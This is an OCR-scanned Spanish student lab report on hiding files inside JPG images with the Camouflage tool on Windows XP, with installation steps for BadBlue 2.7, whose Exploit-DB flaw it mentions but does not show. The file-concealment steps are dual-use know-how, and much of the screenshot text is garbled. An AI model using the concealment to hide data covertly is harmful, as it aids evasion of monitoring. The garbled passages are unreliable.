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INTRODUCCION

En esta practica se trabajo en un entorno virtual con Windows XP y Kali Linux, realizando
dos actividades principales orientadas al aprendizaje de técnicas de seguridad informatica.
Primero, se desarroll6 el proceso de camuflaje de archivos mediante la herramienta Camouflage,
probando diferentes formatos (JPG, PDF, Word, Excel y TXT) para determinar su capacidad maxima
de ocultamiento y funcionamiento.
Posteriormente, se realizé el analisis del servidor BadBlue version 2.7, instalandolo en Windows
XP y examinando desde Kali Linux su comportamiento de red, el puerto de servicio activo y la
vulnerabilidad asociada documentada en Exploit-DB (EDB-ID: 4784).

Durante la practica se instalaron y configuraron herramientas complementarias como Adobe
Reader, VLC, Windows Explorer y BadBlue, documentando paso a paso los procedimientos,
comandos utilizados y resultados obtenidos, con el fin de generar una guia técnica que sirva como

referencia para futuras actividades en el area de auditoria y seguridad de redes.



OBJETIVOS GENERALES

Documentar y analizar el proceso completo de ocultamiento de archivos mediante la
herramienta Camouflage y el analisis de vulnerabilidad del servidor BadBlue 2.7, dentro de
un entorno virtual controlado, con fines académicos y de investigacion en seguridad informatica.



OBJETIVOS ESPECIFICOS

Evaluar la capacidad maxima de archivos que puede ser camuflada sin
compresion.

Instalar y analizar el comportamiento del servidor BadBlue 2.7 en Windows
XP.

Elaborar un informe técnico con evidencias y descripciones detalladas para
servir como guia practica a futuros estudiantes.



1 CAPITULO 1 CAMUFLAJE

Primero instalé los Guest Additions de VirtualBox para mejorar la integracion entre el host y la
maquina virtual:
1.1 Instalacion de Guests Additions

En la Ilustracion 1, se observa el montaje del ISO correspondiente.
Oracle Virtualfox Guest Additions 7.1.12 Setup (Ali=l_3

Welcome to Oracle VirtualBox Guest
Additions 7.1.12 Setup

Semup el guids vou through the irstallation of Crade
WirtualBox Gues: Addtions 7,112,

It s recammended that you chose al ater zpolcations
before sbarting Setup, This wil make it possibie toupdate
relewart system files withauk having to reback your
compUter

Click Mext bo continus,

| Mt = || Caniel |

Luego, en las Ilustraciones 2 y 3, se muestra la ruta de instalacion y el progreso del proceso de
instalacion de los controladores

Oracle YirtualBox Guest Additions F.1.12 Setup

Choose Install Location a
Zhoose the Folder in which to install Crade WrisaBoe Guast Addioans 7,1.12 tj

Setup wall install Cracks WirtuaBos Guest addtions T,1,12 in the followng Folder, Toinskal na
different Foider, cidk Browse and select another Folder, Qick Mesk bo continue.

Casonation Foldar i

Space reguired:; G62.0 KB
Space avalsble: 18558

| < Back || et = || Cancel

llustracion 1 Ruta de Guests Additions
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Oracle YirtualBox Guest Additions 7.1.12 Setup

Choose Components

Choose which features of Orade WrtuaBox Guast Addinons 7,1.12 you want to
irstal,

Chedk the companents you wank to instal and uncheck the componants you don't wank to
irstall, Chek [nstall to start the nstalation.

Select components to instal:

Description

Drect3D Support (Experr
Start menu erkries

Space requred: 662.0KB

| I Cancel

77 Inicio Orade VirtualBax Gua

[lustracion 2 Progreso de la instalacion

En la Ilustracion 4, se verifica la finalizacion correcta de la instalacion, garantizando que el
entorno quede preparado para ejecutar las aplicaciones necesarias.

Oracle Yirtualdox Guest Additions f.1.14 Setup ;l

Completing Oracle VirtualBox Guest
Additions 7.1.12 Setup

Wolr compber must be rastarted in ordar to complene the
irstaletion of Orack YWrtusBox Gusst Additons 7.1.12. Da

o veank bo rebioal now?

(%) Biehoos naw

1T wnnt to marually resoat lsber

llustracion 3 Instalacion de Guests Additions completada
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1.2 Carpetas compartidas

Se cred en el Escritorio una carpeta llamada Camuflaje, donde se almacenaron los archivos de
trabajo:

o foto.jpg

e word.docx

e excel.xlsx

e pdfipdf

e LEERME.txt
Estos archivos serian los que se utilizarian en todo el proceso de ocultamiento.

General Carpetas compartidas
No Acceso Automontar
Sistema
Pantalla
Almacenamiento

Audio

Red

Interfaz de usuario
Puertos serie

Archivo * Maquina * Ver = Entrada = Dis os ¥ Depurar * Ayuda ~
Use
Estado visual: Mormal (ventana) =

Carpetas compartidas

Minibarra de herramientas: v Mostrar en pantalla completa/fluido

=
O
O
9
»
=
A
I 4
-
@

Interfaz de usuario
ar en la parte superior de la pantalla

Aceptar Cancelar Ayuda

Con las Guest Additions instaladas, se copi6 desde el equipo anfitrion la carpeta Doc_ MV, que
contenia los instaladores y materiales requeridos.



ERssOvradnrrl]

General

Sistema

Pantalla

Almacenamiento

Audio

Red

Puertos serie

USB

Carpetas compartidas

Interfaz de usuario

anizar =

Carpetas compartidas

Nombre de carp

Punto de montaje:

I MATLAP

al princip

Solo lectura
Automontar
Hacer permanente

Cancelar

ar en la parte superior de la pantalla

cionar carpeta

utomontar  En

12
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General Carpetas compartidas

Sistema ) Automontar  En ]
Pantalla

Almacenamiento

Audio

Red

Puertos serie

use

Carpetas compartidas

Mirubar

Interfaz de usuario

O
O
O
2
*
=
&
[ 4
-
@

£ WIND

General Carpetas compartidas

Automontar En
Sistema

Pantalla
Almacenamiento
Audio

Red

Interfaz de usuario
Puertos serie

Maquina = Entrada i ) * Ayuda ~
use
al: Mormal (ventana) =~

Carpetas compartidas

Minibarra de herramient, v Mostrar en pantalla completa/flu

[ SRR 4 RER=-R 0

Interfaz de usuario
rar en la parte superior de la pantalla




Archiva  Edicdn Mer  Faworbos  Herramientes  Awods

,;_;.'h.-- 'J |"' J__)Btu.qmda | Cerpetas 1-
Dirancdn [ i MiPC
Archivos almacenados en este equipo
Tareas del sistema 3
[2]) ver nformacion del sstema 1"! Documentos campartidos I;‘J Daumentos de 3P
Y Agregar o quitar programas |
G Cambiar una canfiguracian
Unidaades de discn duro

Diros sitios

: %ﬁ Disco local (1)
& M shios de red

L) Mis documarkos
L) Documenios compartidos Di itivos con almac iento extraibe

@ Panel de cortrol
Q'g Vitualbex Gusst Addiiens (D)

Unidaddes de red

En la Iustracion 5, se evidencia dicha carpeta ya disponible en el entorno XP.

* Doc_MY en “VBoxSvr™ (Z:) :‘EE
Archivo  Edodn  Wer  Favortos  Herramientas  Ayuds 4

emrés - Q |_" ;]Bﬁsquada 4 Capetas -

Dracdin | S 2y v Edx

1a1010-04.pcF
Archivo PDF

Mede Moriter
Documento de b2k
1KB

Tarcas de archivo y carpeta

) Crear nueva carpeta

@,

o Publcer esta carpets en Web Tes:a w5 Edson, doc uchiogo
Archews DOXCK 23% 226
1SKE =n FNG

OUTOF AT 3 Velocimetro ,ppox
Archivo PRTX

g MIPC 1.747KB

&) M documentos
) Documentos compartiios
N Ms shios de red

llustracion 4 Carpeta Doc_MYV subida
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General Carpetas compartidas

Mo
Sistema
Pantalla
Almacenamiento Mombre de carpeta
Audio Punto de ma
Red
Puertos serie

Depurar * Ayuda ~

UsSB Aceptar Cancelar

Carpetas compartidas

=
O
O
2
»
&
A
[ 4
m
@

Interfaz de usuario
superior de la pantalla

Aceptar Cance Ayuda

La Ilustracion 6 muestra el contenido con los instaladores de Adobe Reader, BadBlue,
Camouflage, VLC y otros programas auxiliares.

= Clase 2 Oct_202% en “VBoxSvr" [¥:)
Srchive  Edicdn Wer  Favortos  Herramientes  Ayuods

@ﬁtré‘. - O Ij" - Blsqueda ||~ Carpetas HEHN
Diacdin :'r’:'l.

Tareas de archivo y carpeta & 5.0 AcbeRdrEn a 3 badbhe-pe-2.72a

iﬁ Cambiar nombre a este archivo =

3 Mower mshe srchivo a nitermet-esplvar - -Dara-«p-
. Camoul#l Archiva,cab autoextrable
j Copiar este archive Microsaft Corporatiar

ﬂ Publcar este archiva en Web
i

j Erviar asbe archivo por carred
electronico
¥ Elminar este archiva

wio-3,0. 1 8-win32

Dbros silios

i§ mirc

) Mis documentas

) Documenicos compartidos
& Mis shios de rad

llustracion 5 Carpeta de archivos a instalar
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1.3 Instalacion Adobe

A continuacion, se procedio con la instalacion de los programas:
e Adobe Reader: mostrado en la Ilustracion 7, utilizado para abrir y verificar los archivos
PDF extraidos posteriormente.

i& Adobe Reader B - Setup

Destimation Foldder
Click, bk ba install to bhis Folder, or cics Change bo install ko a different Folder,

i Irstal Adobe Raader 3 o:
! i Cihbrchivos de programa) ddobelReader B0}

WARNING: This program is pratected by copyright lsw and inbermational breaties.

Changs Destination Foider .. | [ mest= || canel

i¥ Adobe Reader B - Setup

Ready Eo Install Hhe Program

Cick. Instal o begin the installation,

TF ol wiank b revisn o chanoe any of your installation Falder, chick Bade, Cidk Cancal ba
et satug,

<Back. || mstal || canead




‘ Adobe Header B - Setup

Setup Conpleted

Setup has successfully instalied Adobe Reader 8, Chok Finish to ext setup,

Launch Adoba Faader 8

Adobe Reader B

License Agreement

Press the Accept button to agree to the License Agreement and continue.

Plaase sakact 2 language for the Licerse Agreemank: "J

Licerse Agraemant:

ADOEE SYSTEMS INCORPORATED

ADOEE® SOFTWARE LICENSE AGREEMENT

NOTICE TO USER: PLEASE READ THIS CONTRACT CAREFULLY. BY USING,
COPYING OR DISTRIBUTING ALL OR ANY PORTION OF THE ADOBE SOFTWARE
(*SOFTWARE") YOU ACCEPT ALL THE TERMS AND CONDITIONS OF THIS
ACREEMENT, INCLUDING, IN PARTICULAR THE LIMITATIONS ON- USE
CONTAINED IN SECTION 2, TRANSFERABILITY IN SECTION 4, WARRANTY IN
SECTION 7, AND LIABILITY IN SECTION 2. YOU AGREE THAT THIS AGREEMENT [S
ENFORCEABLE LIKE ANY WRITTEN NEGOTIATED ACREEMENT SIGNED BY YOU.
THIS ACREEMENT 13 ENFORCEAELE AGAINST YOU AND ANY LECAL ENTITY
THAT OBTAINED THE SOFTWARE AND ON WHOSE BEHALF IT IS USED. IF YOU
DO NOT AGREE, DO NOT USE THIS SOFTWARE

Adobe and ite suppliets own all intellectusl property in the Scftwate. Adobe penwdts you
to Use the Software only in sccordance with the lenms of this Agreement Use of some
third party materials included i the Soflarare may be subject to other terms and conditions
typically found mn o separate license sgreement, o “Read Me” file located near such
motesials or in the “Third Party Software Notices and/or & dditicnal Tenms and Condstions™ o
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Beyond Adobe Reader

BEYOND ADOBE READER

Is & fres, orire guide from Adobe that hebs you:

» Make the most of new features indudng real time colaboration and
‘document securty services

o #iccass frem adcans, Adobe news and softwars update nformation.
‘» Discover new promotions and dscounts espacialy for Adcbs Readar &
wsrs,

B Glick here to open Beyond Adobe Reader now!

noREESsmBET
ESP
AA

Ilustracion 6 Adobe instalado



1.4 Instalacion BadBlue

Aqui esta el paso a paso que realice para la instalacion de BadBlue.

Tarcas de archivo y corpeta
) Conbior ombee a este rchivo
(@ Mover est= archivo

) Coplar este archvs

@ Publcer este archivo en Vieh

X Elmivar este archivo

wec
£ Ms decumartos
O Doamenias cormpartdos
Q M shios dored

Prplera d=
& .

o

LicrteRiv

itivos  Ayud:

o

capetas | [T~

8.0_AcbeRdren_en Us

@ -

30 10
At

3 ssiepezzs

2. Clase_2_Oct_2025 en "VBoxSvi” (¥

3 | Dotupen

Tareas de archivo y corpeta

) Combior ot a ste schivo
B Mover ez archivo
) Copia este archivs

o este archivo en Wb
© Envir et archivo por conrea
dectrico
X lriear csto archivo

Otros sitios
q wec

) M5 decumertos

) Doamentas carpartidos
&3 Mz shics dored

8.0_AcbeRdren_on Us

3 bacbhue pe-2.723

nRemet-expiorsr-6-9arap-
Cameut2t rcrivo,cab auetratle

a0 10
At

Welcome to the BadBlue Personal
Edition 2.72 Setup Wizard

Ths wzard il g you thrcuch the nstalacan of Bace
Persona Edton2.72

1 rocommended that you cose al other apeliaticns

before starting Setup. Thi wil meke  possbie to updet=
relevan systei fls vithos: having to reboct your

ik Next to continue,

adBlue Parsonal Edition 2.72 Setup

Rbadsive

Choose Install Location
Chosse the fokder 1 which to stal Badus Personsl Edbicn
27

Fobder, clck Browse ard select ancther folder, Clck Instal to start the nstalicn.

Desonation Foider

Space recured: 1418
pace avalabie: 18.568

& [PFFE
AOEES#MOMN @0

ESP
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v
Archivo Maquina

. Clase_2_Oct_2025 en “VBoxSwi” (Y:

Quis - © (3 Psimsss 2 copene

=

Tareas de orchivo y corpeta (&

& 8.0_cbeRcren_an Us
) Conbix nonks a esto schvo

£ Mover ez archivo
D) Coplor este rchweo Cameut2t
D Publcer este archivo en Vish =

sctrénico 3,018

35 blwe Inﬂiling.

2 Boamerios conmpartidos
& M shios dored

Sone.pho.... 100%
§ <+ adBlue Personal Ldition 2.72 Setup
Automahically start your web ske each time you logn?
el Si Mo
i S T |
Creare foider:
o

¢ shortcut: CHDGcuments and Settngs!wayrer_arkorio_moys_|Mend IncolFr..
Creave shartout: C:\Documents and Settingslwayner_artorio_moys_\EsantarilBed.

Q- © - (3| Dot o coess
- o e

Tareas de archivo y corpeta
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1.5 Instalacion Windows Explorer
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(F Pesasa (7 capess | [T
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1lustracion 8 Windows Explorer instalado

1.6 Instalacion de Camouflafe

Instalado correctamente segun la Ilustracion 10, permitiendo su acceso desde el ment contextual
(clic derecho sobre los archivos).
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these days companies are given more power to monitor emails and to examine your personal files. and with more and more maliclous 'spy’ software being widely used, you need to
camouflage allows you to hide files by scrambling them and then attaching them to the file of your choice. This camouflaged file then looks and behaves 1ike a normal file, and
For example, you could create a picture File that Tooks and behaves exactly 1ike any other picture file but contains hidden encrypted files, or you could hide a File inside a w
For additional security you can password your camouflaged file. This password will be required when extracting the Files within,

[You can even camouflage files within camouflaged files.

camouflaging Files

after installing camouflage you will Find two new menu options when right-clicking files in windows Explorer; ‘camouflage’ and 'uncamouflage'.

You can camouflage a file or several files at 2 time by highlighting them in windows Explorer, then clicking the right mouse button and choosing 'Camouflage’ from the pop-up me

A 1157 of the files chasen 1 displayed 1n the camouflage dlalog. y

[You can view/edit the fles by double-clicking them with the mouse, or by highlighting and right-clicking them, then choosing ‘Open’ from the pop-up menu. Selecting ‘Propertie
R A NN A

In the second screen choose a file to be used as camouflage. This can be any type uF file, but some files ﬂnrk bg(ter than others. For example, avoid choosing a text file bec

Camoutlage remembers the Tast 10 Files used and you can reuse ene of them by’selacting it From the drop-down

note that camouflage wiT simply use s copy of the selected file. The arigina] chosan File wiTl ot be aitered ih any vay.

once you have selected a file, C1ick "wext'.

fron the third screen choose the folder snd f11enane of the camouflaged File that will be crested.  rhe default folder s the folder where you selected the files In windows exo
Check To create the camoutlaged file with its 'Read-only’ attribute set. This is recormended because it makes the Tile safer, and prevents other applications from s

From the fina] screen you can Type 1n 3 gassword Af you wish.  This password wil be required vhen excracting files from your canouflaged file. 1T you do fot wish o add a pas

Clicking 'Finish® will create the camour aged fila and then exit.

uncamouflaging Files

To extract the files hidden within a camouflaged File, right-click it in windows Explorer and choose

4 password promot appears in the Uncamouflage dialog. If this file was created with a password, Type
note that camouflage was designed so that 1t doesn’t reveal cmwnagec files v "the SabiaT enearvar:
once you have entered the correct password (1f applicabie), click 'Next

‘uncamoufhge‘ from the pop-up menu.

rur tMs reason the password screen is always displayed whether the file
e second scraan displays 2 1ist of the flles hidden within the camouflaged file,, the first file in the 1ist
10 extract all files Frml e camol

cai

ed f1le, either select them all, or jus! ' Nex

is the file originally used as camouflage.
o
n view the files by duublgb(“ck?ng them with the mouse,

© withour selecting any files. vou can extract Certain fnes by selecting then, cthen
or by Mgh“gm’ing i right-clicking Them, then choosing “open’ from the pop-up menu. That Files modified
From the Fina] scraen, choose the folder where the files are to be extracted. I you're net extracting the First file fn the Tist (the File originally used as camouflage), the
cTick "Finish' To extract the files and exit.
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Setup

Camonflage

Sep has frished inataling Camoullage on yous compuler,

Sehip can lach the Flead Me e s Camoulisge Settings.
Choose the colions you ek below.

¥ Yes. | wart 10 view the Read M s now,
[ Yes. | want 10 change Camoxsfage’s Setings now

Cick Fingh o conplete Sep.

1lustracion 9 Camouflage instalado

1.7 Instalacion VLC

Instalado para disponer de un visor multimedia funcional, como se muestra en la Ilustracion 11.
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Maquina  Ver

These days companies are given more power To monitor emails and to examine your personal files. And with more and more maliclous 'spy’ software being widely used, you need to
camouflage allows you to hide files by scrambling them and then attaching them to the file of your choice. This camouflaged file then looks and behaves like a normal file, and
For example, you could create a picture F1le that Tooks and behaves exactly 1ike any other picture F1le but contains hidden encrypted files, or you could hide a file inside a w
For additional security you can password your camouflaged file. This password will be required when extracting the Files within.

ou can even camouflage Files within camouflaged Files.

camouflaging Files
after 1nstalling camouflage you will Find two new menu options when right-clicking files in windows Explorer: 'cCamouflage’ and ‘uncamouflage'.
You can camouflage 2 file or several files at a time by highlighting them in windows Explorer, then clicking the right mouse button and choosing ‘Camouflage’ from the pop-up me

A 115t of the fles chosen 15 displayed In the camouflage dialog
You can wiew/edit tha files by double-clicking them with the mouse, or by hignlighting and right-clicking them, then choosing "Open’ from the pop-up menu. Selecting ‘Propertie

Ayvey, to continue Mk NEXC .«
in the second screen choose a Fi1e 1o be used as camouflage. | This can be any type nf File, bur same 1es  work better than others. For exangle, avold choosing a text file bec
remembers the last 10 files used and of t

one
e T it e age ! Sinply use 3 copy of heselacted fiie. The 0r!g¥na1 Shosen F1e w11 hot e ajveced 1A any way.
once you have selected a file, click ' Kex

From the third screen choose the folder and filename of the camouflaged file that will be created. The default folder is the folder where you selected the files in windows exp
check " Read;only” to create the canouflaged file with Tts "Read-only” attribute set. This 1s reconmended because it makes the File safer, and prevents other applications from |
Click *Ne

From the fina] screen you can Type 1n a_gassword Af you wish. This password will be required vhen extracting files fron your canouflaged file. If you do not wish o add a pas
Clicking 'Finish’ will create the camoufilaged File and then exit.

Files
To extract the files hidden within a camouflaged File, right-click 1t in windows Explorer and choose 'uncsmauﬂage‘ from the pop-up menu.
A password prompt appears in the Uncamouflage dialog. If this file was crested with a password, Type
e thax canouf lage was destaned so that 1t dossnc reveal cumouflaged files to the casual obsérver. "For 'this reason the password screen 1s alvays displayed whether the file
U have entered the correct password (1f applicable), click ¢
[The second screen displays a list of the files hidden within the cmcuf'laqed F\]e. The first file in the 1ist is (he file originally used as camouflage

To extract ai] Files fron the canoufaged file, elther ‘select them all, or fust ciick 'wext’ without selecting any files.. vou can extract Cartain 1185 by selecting them, then
You Can view The T11es by dodo|e-c11ekTng Them with The Mouse, O by MAGhI1nEing and riGht-c11ckInG <hem. Then chosing “pen” Eram the pop-up menu. | NoTe That Fi18s magiried

From the fina] screen, choose the folder where the files are to be extracted. 1If you're net extracting the first file fn the st Cthe f1le orfginally used as camouflage), the
Click "Finish’ ta extract the Files and exit
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4 Instalacién do VLC media player
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1.8 Carpeta compartida de usuarios
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Otros sitios

q mrc

{2 ¥ comeneos

(23 Docmentos congartichs
& Vis st e red

TTInlcIo] [ Doc i en e

B Bmy v @ /A 9 o v &

llustracion 12 Carpeta de archivos subida

1.9 Camuflaje de archivo Word.docx en foto_word

Una vez preparado el entorno, se inicio la practica con la herramienta Camouflage, instalada con
integracion directa al menu del sistema.
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En la Iustracion 14, se evidencia el primer paso del proceso: se hace clic derecho sobre foto.jpg
y se selecciona la opcion Camouflage — Hide a file, eligiendo word.docx como archivo a ocultar.
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=y ewcel sk foto

Tareas de archivo y carpeta avchiva 5L5Y 225 % 225

11 KB Imagen JPEG
| Cambiar nombre a este archivo

LEERME

[y Maver este archiva
Copiar este archivo
&8 Publicar este archivo en Web

o [,

pdf
Documento de texto Adobe Acrobat Document
1EKE 162 KB

word docx
a2 Enviar ests archiv por correo e e
electrdnico 15 KB

¥€ Eliminar este archivo

Otros sitios

[ Escritorio
[ Mis documentos “rour camouflaged file will be made to look and act like the following fils

ﬁ Documentos campartidos

] ripc Camauflage Using [T \Documents end Seltings'wayner_snlorin_mopa_\Escrtoriowie +| |
& Mis sitios de rad

Detalles

Click hers to get the latest version < Back

llustracion 13 camuflaje de word.docx



En la Iustracion 15, se confirma la seleccion del archivo portador (foto.jpg).

Select file to use as camouflage
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Buzcar en: Ib Archivos j a I'j{ T
é excel. xlsu
' foko
Documentos | LEERME
recientes -;-._ ndf
L' ward, docx
E scritorio
Miz documnentas
hi PC
Mis zitiog dered  Mombre: If.:,t,:, j b |
Tipa: | & Files <] Cancela |
R

Hlustracion 14 camuflar en foto

Posteriormente, se indica la ruta y el nombre del archivo resultante (foto word.jpg), mostrado en
la Tlustracién 16.

Camouflage

Chooze the location and filename for the camaouflage file that iz about o be created.

Create This File I Settingz\wayner_antonio_moya \E scritariotdrchivosioto_word jp LIJ

v Read-only

Click here to get the latest version

< Back I Mest = | Cloze

llustracion 15 Ruta y Renombrar de archivo camuflado
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La Ilustracion 17 muestra el campo donde es posible definir una contrasefia de proteccion.

Camouflage E|E| [El

Enter a zecunty pazzword for your camouflaged file if you wizh,

Pazzword e
Werify Password e
Click here to get the latest version < Back Finizh Close

llustracion 16 contrasenia de foto_word

1.10 Camuflaje de archivo LEERME en foto_leerme
El procedimiento se repite para LEERME .txt.

La Iustracion 18 muestra la seleccion del archivo, y la Iustracion 19, el inicio del proceso de
ocultamiento.

En las Ilustraciones 20 a 22, se presentan las etapas de guardado y la aparicion del nuevo archivo
foto_txt.jpg.



& Archivos

Edicion  Wer Faworitos  Herramientas  Avuda #

O Abras -J l_@ p Blsqueda IE“ Carpetas v

Direccidn |23 C:\Daocuments and Settingsywayner_antonio_mava_\Escritoriol Archivos Vl —) Ir

archivo

e excel xlsx Foko

Tareas de archivo y carpeta Archivo ¥L5H h 235 735
11 KE Irnagen JPEG
Iﬂ Cambiar nombre a eske archiva
@ Maover este archivo - m ~ pdf
; ) 3 &dobe Scrobat Document
Copiar este archivo Abrir s, 162 KE .
@ Publicar este archivo en Weh Imprimir —
() Enwiar este archiva par carrea Editar F202t50_u202r5d
electranico B Camouflage ®

; . . Imagen JPEG
iz Imprimir este archivo Eauncamouflage
3¢ Eliminar ests archiva Abrir con r

Enviar a

Corkar

Otros sitios

@ Escritaria

[E] Mis documentos
|3 Documentos compartidos
i MiPC

W Mis sitios de red

Copiar

Crear acceso directo
Eliminar
Cambiar nombre

Propiedades

Detalles

Camouflage

Thiz file will be hidden within pour camouflaged file.

M ame

LEERME .t 1EE 0940

< I | »

Click here to get the latest version < Back | Mext > | Cloze

1lustracion 17 Camuflaje de archivo LEERME
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Select file to use as camouflage

Buzcar en: | I Archivos

L excel. xlsx
e

Documento: | |81 Faka_word
recientes ) LEERME
7 = pdf

word, doc

E zenitaria

iz documentoz

ki PC

iz gitiog de red  Mombre: |h:.t|:| ﬂ Ahbrir |
Tipo: |,-i'-.|| File= j Cancelar

T
llustracion 18 camuflar en foto

Camouflage

“our camouflaged file will be made to look and act like the follawing file.

Camouflage Uszing and Settings‘wayner_antonio_moya_“E scritorotArchivostfoto.jpg jJ

Click here to get the latest version < Back Mext

Cloze

Hlustracion 19 ruta de archivo en foto
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Camouflage

Chooze the location and filename far the camouflage e that i about bo be created.

Create Thiz File

¥ Read-only

Click here ta get the latest version

1lustracion 20 Ruta a guargar y Renombrar de archivo camuflado foto_txt

& Archivos

Archive  Edicién  Yer Favoritos  Herramientas  Avuda
.\_)P.trés -\_;J IE pBﬁlsqueda [i ' Carpetas -.-

I and SEttings"-.wa_l,lner_antnnin_mu:u_lrla_"»ESn:ritnricu"-.-'-‘-.rn:hivns"-.fn::tn:u_t:-:l{jJ

Direccidn L3 Ci\Documents and Settingsiwayner_antonio_moya_\Escritoriol Archivos

Tareas de archivo ¥ carpeta

:j Crear nueva carpeta
@ Publicar esta carpeta en Wweb
@ Caompattir esta carpeta

Okros sitios

@ Escrikaria

B Mis documentos

[ Documentos compartidos

i MipC
\d Mis sitios de red

excel xlsx
Archivo LS5
11 KE

LEERME
Documento de bexto
1kE

word, docx
Archivo DOCH
1S KE

foto_Extk
225 % 225
Imagen JPEG

Hlustracion 21 foto_txt

2, i@

creado

fota
225« 225
Irnagen JPEG

pdf

Adobe Acrobat Document

162 KB

foto_word
2EA w225
Irnagen JPEG
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1.11 Camuflaje de archivo excel en foto_excel

En las Ilustraciones 23 a 28, se documenta el proceso de ocultar excel.xIsx dentro de foto.jpg.
El resultado fue un nuevo archivo foto excel.jpg, cuya existencia y tamafio final se verificaron en
el Explorador de Windows.

& Archivos

Archivo  Edicidn  Mer  Favoritos  Herramientas  Ayuda ﬂ.

;\_)F\trés -\_) l.@ pBL'lsqueda H_" Carpetas v

Direccisn 23 CtiDocuments and Settingsiwayner_antonio_maya_\Escritariol Archivos V| Ir

~ foto
Tareas de archivo y carpeta & . DLy PO
Abrir
Imagen JPEG
@ Cambiar nombre a este archivo B8 Camouflage
@ Mower este archiva Lg E@Uncamouflage =~ pdf
i . I Adobe Acrobat Document
Copiar este archivo 1 Enviar a 3 | 162 KB
@ Publicar este archivo en Web
i Cortar foko_word
D E:;\élli'ré:isc? archiva par carreo s a Copiar h 298 3 555
o . 15 ) Imagen JPEG
¥ Eliminar este archivo Crear acceso directo
fo|  Eliminar |
h 24 Cambiar nombre
Otros sitios W
Propiedades

@ Escritario

5} Mis documentas
[C5) Documentas compartidos
i MiPC

!& Mis sitios de red

Detalles

Camouflage

Thiz file will be hidden within pour camouflaged file. Seftings

M ame Size | Created

11 KB 09410

&5 | »

Click here to get the [atest wersion < Back | Mest » | Cloze

Hlustracion 22 Camuflaje de archivo excel
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S5elect file to use as camouflage

Buszar en: |b.ﬁ.rchivns ﬂ I'fF "
r excel s
QO

Documentos Ltﬂ Fako_txk

recientes Ltﬂ Foto_word
7“[' [Z] LEERME
T pdf

Ezcritario wiord.doc

j

biz documentos

ki FC
iz zitioz de red  Mombre: |h:.t.:| ﬂ Ahirir |
Tipa: |,-'1'-.|| Filez j Cancelar

Hlustracion 23 camuflar en foto

Camouflage

“our camaouflaged file will be made ta laok and act like the following file.

Carmaouflage zing C:A\Document: and Settingzhwapner_antonio_mopa \E zcntaniohbrch j J

Click here to get the latest verzion

¢ Back Cloze

llustracion 24 Ruta de archivo foto
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Camouflage

Chooze the location and filename far the camouflage file that iz about to be created.

Create Thiz File ||:| 5EttingS'xwayner_antunin_mnya_'xE3critnrinh&rchivns‘xl‘ntn_e:-:n::el.iij
v Read-only
Click here bo get the latest version 2 Back Mest » | Cloze |

llustracion 25 Ruta y Renombrar de archivo foto_excel

Camouflage

Enter a security pazsword for your camaouflaged file if you wizh.

B4

xxa1

Fazswiord

Werify Pazsword

Click here to get the latest version < Back Finizh Cloze

Llustracion 26 Contraseria de foto_excel
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& Archivos

archivo  Edicidn  Ver  Favorikos  Herramientas — Ayuda #’

O Akras -\-) l.ﬁ p Busqueda IE:‘ Carpetas v

Direccidn |3 Ci\Documents and Sektingsiwayner_antonio_moyva_\EscritoriolArchivos

i 3 excel xlsx fiota
Tareas de archivo y carpeta Archivo XLSY h 235y 225
11KE Imagen JPEG
Ej Crear nueva carpeta
&8 Publicar esta carpeta en Yeb LEERME = pdf
. Documento de kexto Adobe Acrobat Document
@ Comparkir esta carpeta L KE e 162 KB
word, doc _Lﬁ Fobo_word
Dbros sitios 2 Archivo DOCY “ 225 % 225
15 KE Imagen JPEG
@ Escritario
[EJ Mis d ' foko_txt _lﬁ foto_excel
16 e 295 % 225 h 275 % 225
[ Documentos compartidos Imagen JPEG Imagen JFEG

g MipC

H Mis sitios de red

llustracion 27 foto_excel creado

1.12 Camuflaje de archivo pdf en foto_pdf

De igual forma, en las Ilustraciones 29 a 33, se muestra el procedimiento completo para ocultar
el archivo pdf.pdf.
El resultado (foto pdf.jpg) mantiene apariencia visual de imagen, pero contiene el archivo PDF
camuflado.

. -

& Archivos (=](c3]
archivo  Edicidn  Wer  Favoritos  Herramientas  Ayuda #
O Atras (= ] lﬁ p Bisqueda [f“ Carpetas v
Direccién |3 Ci\Documents and Settingsiwayner _antonio_moya_\EscritoriolArchivos hd | Ir

: ~ excel,xlsx foto
Tareas de archivo y carpeta | # Archivo ¥L5% h S5y 275
11 KB Irnagen JPEG
Iﬂ Cambiar nombre a este archiva
[ Mover este archivo LEERME
. . Documento de bexta
D Copiar este archivo 1KE th Adobe Reader 8
@ Fublicar este archivo en Web Abrir
@ Enviat este archivo por corren : ;vorﬁ.do[c))écx Imptirnir
electranico ] lchgD 3 Camouflage
g Imprimir este archiva B Uncamouflage
x Eliminar este archiva Fako_kxt Abrir con... F
275 % 75 h -
Imagen JPEG Errdiar a 4
Otros sitios Corkar
Copiar
(@ Escritarin I
[E] s Al Crear acceso directo
Elirninar
Documentos compartidos
@ . Cambiar nombre i
g MipC |
ﬁd Mis sitios de red Propiedades
Detalles




Thiz file will be hidden within pour camouflaged file,

Camouflage

B

Settings

Mame

d

Size | Created

S g
03410/2025 0:27:2

162 KB

| ¥

Click_here to get the latest version

r

Select file to use as camouflage

Llustracion 28 Camuflaje de pdf

Buzcar en: | = Archivos

Documentoz
recientes

ol

E zcritario

3"

iz documentos

§

iz zitioz de red

]

~| « ®E e E-

excel xlsx
ij Foko_excel
ij Foko_t:t
ij Foko_word
[Z] LEERME
T pdf

wiord, doc

MHambre: |f|:|t|:|

Abiir | |

Tipe: | &1l Files

Cancelar

[~
El

R ——
Hlustracion 29 camuflar en foto
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Camouflage

Your camouflaged file will be made ta look and act like the follawing file.

Camauflage Using C:ADocuments and Settingz'wayner_antonio_moya \Escritoniohdrch ﬂ J

Click here to get the latest version < Back Cloze

llustracion 30 Ruta de foto

Camouflage

Chooze the location and filename for the camouflage file that iz about to be created.

Create Thiz File ||:| Settingshwapner_antorio_moya_E seritorioharchivosifoto_pdljpg jJ
Iv Fead-aonly
Click here to get the latest version < Back Mest > Cloze

llustracion 31 Ruta a guardar y Renombrar de archivo foto_pdf

Camouflage |Z| |E| [z|

Enter a zecurnty password for your camouflaged file f you wizh,

BT

xx)i

Pazzword

Werify Pazsword

Click here to get the latest version < Back Einizh Cloze

1lustracion 32 contraseria de foto_pdf
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1.13 Camuflaje de archivo foto en foto_foto

A modo de experimento adicional, en las Ilustraciones 34 a 38, se realizo la insercion de una
imagen dentro de otra.
El archivo generado (foto foto.jpg) sirvid para comparar diferencias de tamafio y detectar si el
software podia manejar portadores del mismo tipo.

& Archivos |-_| |E| |£|
Archivo  Edicion  Yer  Favoritos  Herramientas  Avuda a’
